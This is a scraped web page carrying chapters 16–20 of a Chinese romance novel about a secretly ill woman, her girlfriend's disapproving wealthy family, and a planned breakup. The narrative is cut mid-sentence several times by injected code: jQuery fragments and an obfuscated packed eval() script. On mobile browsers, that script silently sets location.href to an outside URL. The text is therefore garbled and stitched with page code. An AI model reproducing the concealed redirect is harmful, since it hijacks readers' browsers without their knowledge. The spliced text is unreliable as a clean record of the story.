$(''.inform'').remove(); $(''#content'').append('' 十分大度地说道，似乎真的没有不高兴。 黎漾见她这般冷静心里又是有些不太舒服了，鼓了鼓腮：“你真的放心我，都不吃醋的。” 祝春宴这回真的被她逗笑，然后又板起了脸皱了眉：“那我现在就吃一小杯醋？” “……没意思。”黎漾哼了一声。 两人下车，祝春宴看着眼前占地面积巨大且古朴的黎家老宅心里还是有所抵触，只是，她知道自己这是最后一次来了。 之前在这里闹过再多的不愉快那都要成为过去了。 “走罢，他们该等急了。” 黎漾笑着牵了她的手，步伐从容地和她进了庭院，看着院子里开得争奇斗艳的各种花草又是有些开心，脸颊挨在祝春宴的肩膀上：“小宴姐姐，这里面有你的功劳哦。” “我的功劳没多少，主要还是你家园丁厉害。”黎家老宅有段时间庭院里的花草不知怎的总无缘无故死去，种一批死一批，排除了多种原因都找不到，急得黎漾家老太太团团转。 祝春宴大学时候修过植物学的课程，不见得老人家这般焦虑便尝试着帮忙排查，最后居然让她误打误撞成功了，救了黎家一个老宅的花草，至今都没出什么大问题。 也因为这件事情黎漾家的人才没有这般排斥她，毕竟他们让黎漾高中时候不要早恋不是让她去选像是祝春宴这样虽然样样拔尖，唯独家世不行的。 所以在得知黎漾和祝春宴不是玩玩之后，他们反对了她们不止一次。 每次来这里吃饭还是做什么的，总少不了被他们阴阳怪气一番。 现在想来，其实她们之间的结局……早就注定，只是她总不想接受罢了。 而现在，不想接受都得接受，无法挽回。 16. 第 16 章 · 虽则黎家的人并不待见祝春宴，但每次都被祝春宴巧妙化解，更别说……祝春宴帮了他们家可不止一次忙，每次帮的都是大忙，人情都不好还。 就这样，一年又一年过去，他们终归是默认了她们在一起。 只是，每次来这里吃饭还是做什么的，总少不了被他们阴阳怪气一番。 祝春宴以前自然不计较这些事情，只要能和黎漾好好在一起就好了，可是现在……她并没有太多的精力去周旋，她觉得累极了。 只要这顿饭安安分分吃完她就不会再去计较什么。 客厅里众人已经在等着她们了，落在她身上的目光若有似无的，但全都带了些漫不经心甚至还有审视。 想起连日来黎漾和程素熙的绯闻……没有黎家的人允许估计是传不出去多久的，毕竟以往一有一些黎漾和别人的绯闻他们都会立即去处理。 但程家实在是有些不同，不仅能让黎家继续保持现在的辉煌，将来还有望更上一层楼。 要说黎漾，她的家庭其实还算幸福，没有太多想象之中狗血的事情发生，主要因为黎家是百年药企，家风清正但是又古板，家中后辈可以没有出息，但是绝对不能学坏。 黎漾可以说是他们家族中的一个异类。 叛逆、疯狂、激进，总不喜欢听家里的安排，而祝春宴的存在就是她反叛家里的一件胜利品，这一谈就是七年。 反倒是……祝春宴其实更加符合他们家培养后代的要求，所以黎漾的爷爷和奶奶对她的感官更加复杂。 祝春宴当作没察觉他们的目光，和黎漾一起坐下。 刚坐下便听见黎漾的养妹阴阳怪气地说道：“姐姐，你今天怎么这么迟回来？不是说6点30左右到的？现在都7点了，你身为公司的掌权人……平时也这么没有时间观念么？又还是……因为等人而迟到啊？” 来了。 祝春宴每次和黎漾回家总能听见这样的茶言茶语，虽则说黎漾从小是被宠大的，但是……黎漾本来有一个姐姐的，大她三岁，在黎漾六岁那年因为患有罕见病而亡。 自此，黎家便专门加大了对各种罕见病研发的投入，以弥补长女丧女之痛。 而黎漾便成为黎家的独苗，但是她的母亲因为接受不了长女的离世而在精神方面逐渐有问题，常年需要静养，已经不怎么管外面的事情了。 刚刚那个说话茶言茶语的是黎漾的养妹，从别的旁系过继而来的。 起初以为能缓解黎漾母亲的焦虑以及积郁，但是……死去的人怎么样都不可能复活，再如何找人来哄她开心那其实也是没用的了。 黎漾的养妹名叫黎莞，比黎漾小两岁，不仅和黎漾不是很对盘，对祝春宴更是毫不客气。 可以说是每次见面都会到怼她的程度，而祝春宴一般不予理会，今天的话，她更加没有心情理会。 黎漾不是经常见这个养妹，她这个养妹能读书，最近刚从欧洲短暂游学回来，听见她这样说也不动气：“莞莞，难道你生活中从来没有迟到的经历？在说这些话之前先过过脑子再出口，免得别人以为你读了这么多书都将书读到肚子里去了。” 黎莞其实在黎家的地位挺尴尬，想要入集团做事但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262414|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是又放不下身段，毕竟黎漾当年虽然从名校毕业，但也是只能从底层做起，后面才逐渐熟悉公司的架构。 而她可不想浪费这么多的时间，现在被黎漾这般一说脸上已经有些热了，也好像是有些不知所措。 她觉得黎漾今天的心情可能不是很好，连这般无伤大雅的话都会怼回来。 而坐在她旁边的祝春宴仍旧像是没事人那般，该做什么做什么，让她又是气不过。 她不好过的时候就想让这里所有人都不好过，便对着祝春宴说道：“祝姐姐，我记得我三叔的孙女好像也有自闭症去找你看病吧？但是几个月过去了仍旧没有下文，是不是你的学校不行？” 这话题跳跃得有些快，祝春宴虽然还算好脾气，但是的确没有太多精力去应付她：“自闭症不是病，你不要带有歧视的目光去看。而且，我们学校不能泄露小朋友的隐私，烦请你问出来的问题三思。” “好了好了，饭桌上吃饭不聊天，要聊也聊些有趣的。”黎莞不服气，又想继续去说祝春宴，但黎漾的爸爸也似乎不耐烦了，打断了她的话，让大家动筷吃饭。 饭后，黎漾被她的爸爸黎仲礼叫走了，应该要商量一些商业上的事情，毕竟黎家的确是花了极大的功夫去培养她。 而祝春宴则是被她的奶奶叫了去，一老一少坐在窗边赏月，看似悠闲。 黎漾奶奶和她闲话了几句之后并没有多少犹豫便将自己要说的话说了出来：“春宴啊，漾漾不小了，是时候要考虑成婚了，我知道你很喜欢她，但是你和她并不合适——” 是时候该要和她分手了。 17. 第 17 章 · 黎家的人其实不是没有反对过她和黎漾之间的恋情，从最开始的极力反对，到后面睁一只眼闭一只眼再到后来接受了这件事情，祝春宴一直都很努力去得到他们的认同。 因为，黎漾实在是对她付出过不少，她也能看出黎漾对她的真心，所以，就算再困难，她都要试一试。 所爱隔山海，山海皆可平。 现在过去了几年，最当初他们反对她们在一起的最现实的原因再次被端上来摆在明面上。 很明显地，她现在的身份和地位还是配不上黎漾，即使她已经做到了业内最Top，年薪也是数百万起。 祝春宴看着黎漾奶奶慈祥又是不舍却丝毫没有尴尬和愧疚的神情，仔细想了一下，觉得自己如果没有患病的话那肯定会好好再争取一下。 哪怕患的不是绝症她都会好好去努力争取一下。 毕竟她和黎漾7年的感情还真的不是说断就断。 可是现在……她知道自己即使勉强说服他们，她大概率也只会拖累黎漾，而不会给她带来任何的好处。 黎漾有着无可比拟的前途和依旧精彩的人生，而她可能只剩下不到一年的命，再如何说，她都应该离开她。 “春宴，我知道你和……” “好的，我知道的奶奶，给我一些时间去处理，我不会让你们难做的。” 黎漾奶奶见她这么久还不作声以为她要拒绝自己的时候，祝春宴终于抬起头来看向她，语气平静地对她说道。 仿佛她说的不是和黎漾分手那般，而是随手帮她侍弄花草那般简单。 黎漾奶奶原以为自己要多劝她一劝，但不知怎的在模糊的夜色之中去看祝春宴，她突然察觉她憔悴得像一朵即将枯萎的花。 明明……她的面容和初次见面的时候其实并没有太大的变化，可是此时再认真地看她一眼，她心里莫名涌上了悸乱和不安，总觉得会有什么事情发生。 这孩子……很可能有什么事情瞒着周围的人，黎家始终是做药的，虽然不是每个人都是医生对各种疾病有了解，但是一个人的精气神还是能看出来的。 现在祝春宴这般情况……她突然有些后悔这么直接地和她说方才的那番话了。 “叩叩——” 不等她问祝春宴发生了什么，黎漾便在外面敲响了门让祝春宴跟她一起回家了。 祝春宴应了她一句继而对黎漾奶奶说道：“奶奶我走了，再见。” 她说着便站了起来没有任何怨怼也好像没有任何情绪那般，和她好好做了一个道别，然后便迈步往外走了。 黎漾奶奶心头更加慌乱和不祥，这位曾经送走过自己大孙女也经历了不少人逝世的老人回头看她，想要叫住她问清楚，但祝春宴已然不给她这个机会。 她很快就来到门边开了门和黎漾笑着牵着手离开了。 从头到尾都毫无异样。 黎漾奶奶心口一口气提不上来，总觉得要出大事，下意识要叫住黎漾和祝春宴让她们回来，她尤其要问清楚祝春宴是不是出事了。 只是……话到了嘴边不知怎的她又赫然住了口，眼睁睁地就看着祝春宴牵着自家孙女的手离开。 那一刹那，她心口狠狠起伏了几下，想要说一些什么却又是全然说不出来，只能闭上眼，一个字都说不出来。 造孽啊造孽。 “我奶奶和你说了什么你这么高兴？”从黎家老宅出来之后黎漾便主动问她。 “没什么，她说我上次给她的柑桔很好，用来泡茶喝之后身体好了不少。” “是吗？那你怎么不备一点儿给我喝？我天天也要说很多的话嗓子也不好。” “回家给你备上一点儿。”祝春宴自然不会跟她说之前她给她备了一罐，但是她嫌弃这玩意儿卖相不好，她总喜欢精致的东西所以她并没有强求。 现在她既然提前要那就给她重新备上好了。 “好，我家小宴姐姐对我真的好，”黎漾听她答应下来这才高兴了，趴在她耳边轻声道：“你昨晚对我也很热情，我嗓子都要喊哑了，所以你要对我负责。” 祝春宴被她的气息弄得有些痒，牵紧了她的手克制着，也没有去看她，而是垂下了眉睫轻轻“嗯”了一声。 “祝老师你在说什么？我听不见~”她故意撒娇，这么大个人了还整个人挂在她身上，逼得祝春宴不得不伸手搂住她的腰，侧头轻轻亲了亲她：“我说我会对你负责。” “那你要怎么样对我负责？”黎漾看着她这么一本正经对自己说话的模样，眸光又是坦荡，只是刚刚她呵过气的地方却是红了，衬着她这副禁欲的模样儿实在是诱惑。 黎漾喜欢祝春宴的其中一个原因也有这个，她身上的气质总是很矛盾很复杂，反差很大，总让人想要靠近继而去探究，永远不腻。 她一下子咬住她的下唇，叼自己唇边尽情吮了一下，带起点点酥麻，直传至心脏的位置，让人灵魂都似震颤。 祝春宴微微停住了脚步，也不客气按住她的后脑重重亲了她一下，勾住她的舌尖不放开，似是抵死缠绵。 黎漾莫名悸动，总觉得现在的祝春宴和之前的真不太一样了，让她眸光探究地看着她，不明白为什么她变得好像有些放纵。 尤其是……现在还在她的家外面，还没有离开这里。 只是，这令人莫名有种“偷情”似的缠绵转瞬即逝，祝春宴的冲动好像也是一瞬间，她很快就放开了她，但还是将她半抱起带着她上了车。 她的臂力还是一如既往的好。 两人的心跳莫名加速，尤其黎漾，明明不是没有在公共场合和祝春宴亲近过，可是这一次……怎么莫名刺激呢？ 以至于她嗅着她身上的冷香都不可控制地有了些反应。 她将自己的脸埋在她的肩膀上左右蹭了蹭，咬了咬她的耳珠：“小宴姐姐……我今晚要你。” 祝春宴似乎有些疲惫，不知道是不是她错觉好像连右手都开始有些颤抖，让她不得不藏起来不被黎漾发现。 至于她对她说的调情的话……其实她对她说过很多，这一次，她好像无心再去回应，只是又不舍得扫她的兴。 于是还是趁着司机还没回来抬起她的下颌亲了她一下，“好，等你。” “……刚刚你有没有注意？” 黎漾的确有些许情动，不太舍得离开祝春宴太远，其实她有些矛盾，她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262415|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确是有些腻了祝春宴，但又不太愿意放手。 这始终是她经营了长达七年的一段感情，即使和她很多点滴过往都因为时光的作用而被冲刷得模糊，继而让她淡忘了不少。 可是，祝春宴的确是她最刻骨铭心的一段感情，未到最后她都不想放手。 所以现在她其实很矛盾，有种食之无味弃之可惜形同嚼蜡的感受。 只有偶尔大鱼大肉惯了想要吃一些青菜小粥她才会想起她，其他时间……不过是为了尽自己女朋友的义务罢了。 “注意什么？”祝春宴额头上不知为何渗出了一些汗来，肌肉的跳动愈发明显让她莫名慌乱，她竭力忍住那股未知的恐惧，尽量和黎漾说话转移自己的注意力，这般问道。 “刚刚黎莞在二楼她的房间窗边看着我们。” “是有什么事情么？”祝春宴微怔，有些奇怪道。 “不知道，感觉就是喜欢偷窥别人。” 黎漾突然就没了和她讨论黎莞的兴致，起了个头之后又恹恹地靠在祝春宴的怀里，将她的手抓到自己手里把玩。 祝春宴的手其实真的算不上精致，初中时候她都要开始出来打工，更别说大学时候…… 而且她住在她小姨家里，很多家务都是她做的，明明这是只适合读书执笔的手硬是磋磨成那般粗糙模样，黎漾和她在一起之后逼着她养了好几年才养起来。 祝春宴的左手虎口处有一颗小红痣，她越看越喜欢，将她的手贴到自己唇边轻轻亲了亲，莫名有些欲。 祝春宴微微垂了眼睫看着她没有阻止她的动作，一时之间不知道是她的唇更诱人还是她的那颗红痣更催人心折，两厢靠近相得益彰。 只是肌肉的不间断震颤让她根本无法忽略，血液的流速即使加快了，让她却是更加难受了。 “刚刚翻过你奶奶房间里那盘牡丹的泥来不及洗手呢，不嫌脏么？”祝春宴不愿意让她看见自己的异样，也便故意这般说道。 黎漾听了脸色微微变化，放开了她的手嗔了她一眼：“还是这么古板。” 她当她是顾忌前面有司机看着，如何都要忌讳一下的，所以才故意这般对她说道。 祝春宴不解释但又没有否认，缓缓将已经控制不住肌肉震颤的右手给收回来，双手紧握着，竭力让自己冷静下来。 她记得的是，她的小姨早期也是从双手开始僵硬不能动弹的，再后来……再后来她的病情恶化得极快，很快就变得全身都无法动弹。 直至后来……生活完全无法自理，无论投入多少钱都无法让她好起来，只能看着她日益枯萎，短短几年受尽了折磨，最后连她高考都熬不过猝然离世。 现在回想那段日子她都觉得是噩梦，她也知道那样的噩梦将来有一天会投射在她身上，现在，一语成谶，她也是那个被诅咒了的人。 她接下来没再说话了，连看黎漾一眼都没有力气，生怕自己的异样会引起她的怀疑，只静静地看向车外，祈求这莫名其妙的一波“发病”赶快过去。 不期然又是想起黎漾奶奶今晚对她说的话，她缓缓侧头看向黎漾，看着她线条完美的侧颜，沉默良久，最终还是说道：“黎漾，我们……要不分手吧。” 18. 第 18 章 · ——“黎漾，我们……要不分手吧。” 祝春宴发现……自己说出这句话似乎并没有想象中那么难，甚至……她的口吻还相当平静。 很久之前……她就觉得这一刻会很快来临，现在很显然……当这一刻来临的时候，她觉得像是一场美梦结束，有一种……理应如此的感觉。 “叮叮叮——” 然而，仿佛像是天意那般，当祝春宴鼓起勇气将这句话说出来的时候，黎漾的手机适时响起。 铃声的突兀超过了她的音量，让黎漾似乎不怎么听得清她的话，再加上那是程素熙给她打来的电话，她的注意力几乎全都在手机上。 黎漾去接电话了，并没有心思去追究她用尽全力说出来的话。 祝春宴微微仰起了头看向车顶，窗外形形色色的灯光折射在她的脸上，苍白、冷傲、孤孑，像一只受伤的鹤，独自舔舐伤口。 心里原本聚集起来的那一股气……赫然散了。 她叹口气，没再提起这件事情。 反倒是微信沉寂了许久的班级群不合时宜地开始热闹起来，还频频@她和黎漾，让她们也赶紧冒个泡。 祝春宴高中时候虽然也是独来独往，而且她还是走读生，但因为她成绩好，还是拿奖学金进来的，为班级、为学校争光不少，即使她不主动交朋友，其他人也会想着去认识她。 更别说，她当时还是黎漾看上的“猎物”，黎漾一向都是班级里的风云人物更加是让祝春宴也一同被关注。 每每有黎漾什么事情总会扯到祝春宴上，青春期的男女总有着不同寻常的暧昧。 祝春宴实在是不喜欢这般暧昧，总觉得是在浪费时间，她来这里是学习读书和拿奖学金的，而不是来这里混日子甚至是谈恋爱的。 所以一般都不会理会他们的起哄，如果实在躲不过去了，她也不会发脾气，只会拿起书本和试卷一言不发离开，到外面安静的地方做题。 不过，班里还是有部分同学热爱学习的，毕竟不是所有人都想出国，而且家里也有任务的话，好歹要混个本科。 祝春宴耐心解答他们的问题，久而久之，过来找她问问题的人多了，关系也逐渐好起来。 更别说后来黎漾为了靠近祝春宴也开始努力读书，所以他们班到后来大部分同学之间的关系都很融洽，加上圈子多有重合，直至现在毕业了快10年了，彼此之间还是有联系。 这次群里突然活跃起来是因为黎漾的初恋孟知虞从国外回来了，又是恰逢学校周年纪念，自然想要组织起来聚一聚了。 班长：【还有谁没出来冒泡的赶紧出来和大家打个招呼~】 学委：【@祝春宴@黎漾】 【话说，今年打算去哪里聚餐？不要又卡啦Ok了吧？搞点新意！】 【我家新买了一艘邮轮，难得孟知虞也回来了，一起去庆祝一下就好了~】 【就是不知道@祝春宴@黎漾这两位大忙人有没有空呢！】 祝春宴看着他们的对话还是在几十个人热烈讨论中低调地“吱”了一声算是冒了泡。 【哎~刚刚是不是一个祝春宴飘了过去啊？】 【怂货，直接@她啊，你在害羞什么？】 祝春宴：【我都行，你们安排就好，不过黎漾的话……待会儿她处理完工作上来回复就好。】 看见祝春宴的回复，其实大部分同学不外乎是有两种心理： 一是她们两人7年了居然还在一起，那什么时候会结婚？ 二……她们什么时候会分开？现在的话……他们还是能有机会的。 当然了，祝春宴和黎漾高中时候都有不少人喜欢，自然是两者都有不同的爱慕者想要追求，就等她们恢复单身罢了。 班长：【@黎漾，这么晚还在工作？真的是大忙人啊~】 孟知虞：【@祝春宴，很久没见，帮我问候一下漾漾~】 孟知虞的这句话看似没什么问题，但是在场听见的人莫名地还是嗅到这其中的一些火.药味。 尤其是黎漾还疑似和孟知虞有一段，更加是这样，这很显然都是在挑衅祝春宴了。 班级里众人都不约而同地停止了说话，暗戳戳地想要看看祝春宴会怎么样回答。 祝春宴：【的确很久没见，你前段时间已经问候过黎漾了，倒也不必再让我问候她。】 她不痛不痒地刺回去，班级群里所有人都嗅到了八卦的意味。 祝春宴和黎漾之间的感情其实挺稳定的，但是最近黎漾的绯闻多了这么多加上孟知虞又回来了……她们能不能坚持下去也是一个问题。 总而言之，有人欢喜有人愁。 孟知虞没有再回复了，她看着屏幕上祝春宴的回复咬了咬唇的确不太甘心，明明黎漾当年首先喜欢的是她，是祝春宴突然横插一脚，所以她才和黎漾无疾而终。 直至现在这件事情在她心里都是一个遗憾。 她知道以黎漾的年龄的确要去考虑结婚的事情了，这是无可厚非的，祝春宴即使再优秀都配不上黎漾，豪门之间的联姻便是如此，只有门当户对才能有对等谈判的砝码。 而她自然是有足够的资格可以和黎漾在一起，这一次她回来……自然也是为了这件事情。 只是，祝春宴在班级群里和她说的话莫名让她难堪。 她实在是有些不开心。 祝春宴只回复了几句就没有再看群里了，她其实也是一早就知道自己和班里的人并不一样。 刚开始她也没打算接受黎漾，原以为她这样花心的大小姐玩玩就算了不会坚持太久，怎料……她一坚持就是4年，一直到今天，她和黎漾认识快有11年了。 11年，几乎是她三分之一的人生。 “祝老师，你刚刚对我说什么了？”黎漾在那边终于讲完了电话，唇角有笑，心情似乎很不错。 祝春宴看着她的笑容自然没再说刚刚和她分手的事情，而是主动转了话题：“班级群里说要聚会，可能上邮轮之类的，你上去冒个泡？” “好哦，”黎漾和班里大部分人的关系都很好，边看群里的消息边对祝春宴说道：“我过几天要去国外出差，你留在家里要乖乖的，等回来估计也能过圣诞节了。” “……嗯。”黎漾出差是常事，祝春宴早就习惯，听她的意思这次出的还是长差，大概等她回来就能彻底分开了。 但愿……到时候她的身体能熬得住，病情不要恶化。 “祝老师……你怎么还在班级群里和孟知虞吵起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262416|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来？” 黎漾已经看到群里祝春宴和孟知虞颇有些争锋相对的对话了，话里倒是没有责备她的意思，只是有些惊讶，继而眼底又有些奇怪而明亮的光。 她又是靠近她，以一种特别亲昵的姿态往上瞧她，笑得狡黠：“你是不是怕我被她抢了？” “她还没那个本事。”祝春宴低头与她对视，不知怎的突然想起……刚刚黎漾提的是一起过圣诞而没有提她们的七周年纪念日，是忘了么？ “唔，她虽然长得……也是我喜欢的类型，我也的确喜欢过她，不过，我最喜欢的还是你。” 黎漾抬手用掌心贴住她的脸将她的身体拉近，眼里的笑意明晃晃的，依然是揶揄她的模样：“这些事情……你又不是不知道，怎么还这么计较？” “初恋总是不太一样的。”祝春宴说道。 “……又不是真的初恋。”黎漾说这句话倒是有些心虚了。 祝春宴彻底倦了，没再说话，而是闭目养神，静静地去感受身体的情况，双臂好像已经恢复正常了，左臂肌肉群还在颤动，但她早已经习惯了，这不是什么大事。 是的，相比于病情恶化……左手肌肉无时无刻在震颤还真的不是什么大事。 两人之间的氛围因为一个孟知虞而再次沉寂下来。 黎漾其实觉得自己并没有做错什么，她的确是喜欢过孟知虞，还和她短暂在一起过。 不过，当时她们也只是非常单纯地在一起而已，并没有再去做什么。 后来和她祝春宴在一起前，她也已经和孟知虞给断干净了，虽然平时有联系，可她还是一心一意和祝春宴在一起。 所以……其实也没有什么好心虚的。 而且，之前……祝春宴也没有介意这件事情，今晚怎么看着好像这么在意？ 黎漾没有打扰她，毕竟她看起来有些疲惫，之前每次从她家老宅回来，总会十分疲惫，这一次也不例外。 毕竟她的家人的确是不好应付。 回家的路程非常遥远，祝春宴并非一直在闭目养神，中途有人找她，她回复了一会儿信息。 又是接到了她姨父的电话，祝春宴其实不是很少接，但是还是在对方打了第二次来的时候接了。 此时已经到家了，祝春宴和黎漾说了一声便下车接电话，黎漾恰好也要整理一下出差的东西，所以并没有多想先回去。 回去时还是忍不住去看了看聂卿安所在的别墅，看见那边漆黑一片，虽然觉得有些奇怪，但是管她呢，她巴不得她不要再出现在祝春宴面前。 姨父来找祝春宴是要说她小姨忌日去祭祀的事情，敲定好日期和时间之后他又是转而说起他外孙女疑似有自闭症的事情，希望祝春宴能帮一帮他。 祝春宴听他欲言又止的，想起她的姨父常年赌博，自己帮他也不知道还了多少债款，她自然不会主动问起他这件事情。 大概是她在外面说得有些久了，黎漾担心，还是在二楼卧室的窗边叫了她一声让她回来。 祝春宴适时挂了姨父的电话不让他再有机会将未完的话给说出来，转身便进了黎漾的家。 主卧里，黎漾等她回来后还是忍不住挂她身上撒娇，恋恋亲她的唇角：“祝老师，我后天就要出发了，想要你。” 19. 第 19 章 · 黎漾从来都不会去掩饰自己在这方面的需求。 大二时候刚刚开始和她在一起她就很直白地对她说想要亲她，祝春宴不是很能接受刚一起就亲吻这么快的进度，硬是忸怩地拒绝了。 那时候的黎漾虽然也没什么耐性，也会哀怨地看着她撒娇希望她能答应，但整体上还是会顺着她的，只会从她身上适当收取一些利息罢了。 她那时候也没有强迫她，只是在她唇边亲了亲她，美其名曰“解渴”。 看看，用词都这么勾人心魄，让人无法不去多想。 现在再看着眼前这张年轻、娇艳完全无可挑剔的脸，祝春宴蓦地恍惚，觉得她陌生了不少，似乎不再是她所熟悉的那个黎漾了。 一个人一生真的太长太长了，长到……她们虽然相识了11年，那其实还是人生长度里的其中一截。 即使，她在她的生命里所占据的分量已然十分重要。 “怎么啦？不愿意？连这点小小的要求都不能满足我？又还是你又要提出那什么养生的理论，一周最多三次？那即使是三次……” “漾漾，别这么无赖。”虽然是这般说，可祝春宴还是抱住了她，边抱边吻进了浴室，她想，速度快点的话或许能赶得及。 浴室里热气氤氲，几近看不清彼此的眉眼，她们在花洒下却如两尾靠在一起取暖的游鱼，肆意缠着对方汲取对方身上的暖意，不分彼此，谁都离不开谁。 只是，今晚的祝春宴比昨晚温柔多了，而且……她只是吻她并没有进一步动作，让黎漾有些难耐又不解，艰难止住她的吻，红着脸看向她：“你就不能恢复一下昨晚的热情？” 她脸红自然不是因为害羞，事实上在祝春宴的记忆里黎漾脸红的次数屈指可数，她只是因为这满室的热意而脸红罢了。 “黎漾，你怎么总不会照顾自己？”祝春宴依然温柔地看着她，眉眼缀满了水珠，冲散了一些难以靠近，多了些柔软和惆怅。 黎漾不喜欢她用这般表情看着她，她在她面前就是骄纵和任性的，她知道她所有的坏脾气，她也必须得适应。 而且，她只是提出自己的要求罢了，为什么非要评价一句？大家又不是小孩子了，谁喜欢听谁说教？就算是祝春宴也不行。 黎漾被她这句话说得全无兴致，抿了唇瞪了她一眼，什么都没说，而是转身穿好睡袍擦干头发去了书房工作。 这一次她要去出一个长差，所准备的东西也是有些多，而且这次的项目非常重要，各个事项都需要做好准备，更别说家里让她在那边买一座庄园好以后结婚用。 到时候她忙完了和祝春宴去那里玩一下也不是不行。 只是，想到刚刚祝春宴依然是一副说教和无奈的模样她又是生气，从刚开始认识她到现在一直这样，真的没意思。 她是一个成年人用得着她这么操心么？ 丝毫忘记了每次她喝醉酒，每次她忙工作忘记了吃饭，每次天气转凉忘记穿衣，每次每次……都是祝春宴在不厌其烦地照顾她。 黎漾工作到了快凌晨，觉得自己的气还没消，也不想和祝春宴一起睡主卧了，就让她后悔去好了。 怎料……肚子突然一阵绞痛，也似乎有热流光顾，黎漾赫然想起她的生理期快要到了，第一天总是她最无助的时候。 她的唇顿时疼得有些发白，此时书房的门被适时敲响，祝春宴的声音从外面传来：“漾漾，我可以进来么？” “……进。”黎漾本来又想和她赌气，可不知怎的突然就不忍心，眼眶有热议上涌，让她觉得自己尤其委屈，祝春宴……真的是这世界上最在乎她的人。 就连她自己都忘了生理期这回事，只有她还记得，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262417|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且不辞劳苦来到她身边照顾她。 她觉得自己简直是有些忘恩负义，但愧疚也只是一闪而过，了无痕迹。 祝春宴很快就推门进来，看见她苍白着捂住肚子趴在桌子上看向她，楚楚可怜的，让祝春宴心肠又是软了几分。 她沉默着一言不发，将她整个人抱起，抱回主卧的卫生间里，开了浴霸暖融融的，黎漾才觉得自己好受了点，坐在凳子上等她照顾自己。 祝春宴帮她换了新的裤子，拿了个暖水袋给她捂肚子上，新的裤子自然贴了卫生巾。 说起卫生巾黎漾倒是想起了祝春宴对她的好，她之前刚出来工作因为太过忙碌而引发了各种过敏症状，免疫系统出了大问题，调养了很长时间才调理回来。 只是她留下了一个极其奇怪的病症，那便是无论用哪种材质的卫生巾包括纯棉的、最高标准的都不行。 而且每次总会出大问题，以至于黎漾那时候无论精神还是心理状态都很不好。 也是祝春宴不厌其烦地找了近千种复合材料，投入了不知道多少精力进去才给她找到了她用着不会过敏的特殊材质。 明明她没有多少医学基础，明明她也是刚刚出来参加工作没有多少收入，明明她也是忙得要死一天只睡那么几个小时，在这样的情况下还要照顾她，时刻关注她的状态……那个时候她就认定了这辈子就是她了。 然而不知怎的，现在看着她这么认真又细心地照顾着自己，黎漾心里似乎没多少波澜，仿佛是习惯了。 又仿佛是纸醉金迷的生活过了太多了，以至于让她身为人的一部分敏锐的触觉已经被屏蔽。 她整个人都有些麻木了。 她也根本不在乎祝春宴对她的好，甚至是厌倦、无味到了极点。 是该找个时候……和她好聚好散，免得被她一直纠缠，不得安宁。 20. 第 20 章 · “上个月是不是没有喝四物汤？”祝春宴面不改色地帮她换好裤子，清理好所有狼藉，才回头问她。 她也根本不知道黎漾刚刚在脑海里想了这么多有的没的。 依然是这般尽职尽责的模样，毫无波澜，仿佛早已习惯。 黎漾回神，有些烦躁，只是看着那条被她洗干净但还滴着水的小裤又是有些脸红，让她将刚刚的那些胡思乱想给抛诸脑后。 明明……这其实也不是第一次了，祝春宴在她例假来临的时候照顾过她无数次，可这一次不知怎的她觉得不那么自在了。 “算了，下次记得喝就好了。” 上个月祝春宴的学校去了研学活动，祝春宴自然也报名了跟着去，在山里信号不是很好，就没有时刻督促着她喝，不然这个月经期她不会这么狼狈的。 黎漾不喜欢别人管着她那她还是减少说这些话好了，虽然……其实也说不了多少次了。 她又重新将她抱回主卧的床上，问道：“今晚需要我陪你么？” “你不陪我谁给我暖肚子？”黎漾不依她，仿佛终于彻底回神，一脸不愉地看着她，似乎在说她怎么可以这样？明知道她身体不舒服她还想偷懒不照顾她！ 被她这样一双雾蒙蒙又委屈至极的眼睛看着，任由谁都无法生气，而且，即使是她做错了事情那也是完全无法斥责她，恨不得哄着她将自己最宝贵的东西献到她面前。 黎漾身上就是有这样的魅力，让人总是无法长久生她的气，甚至为她鞍前马后，任她差遣。 祝春宴并没有生她的气，也不觉得自己要生气，她只是在惆怅，以后她不在的话，别人……能不能照顾好她？ “那你睡。”祝春宴将她搂到自己怀里一手贴在她的肚子上哄她。 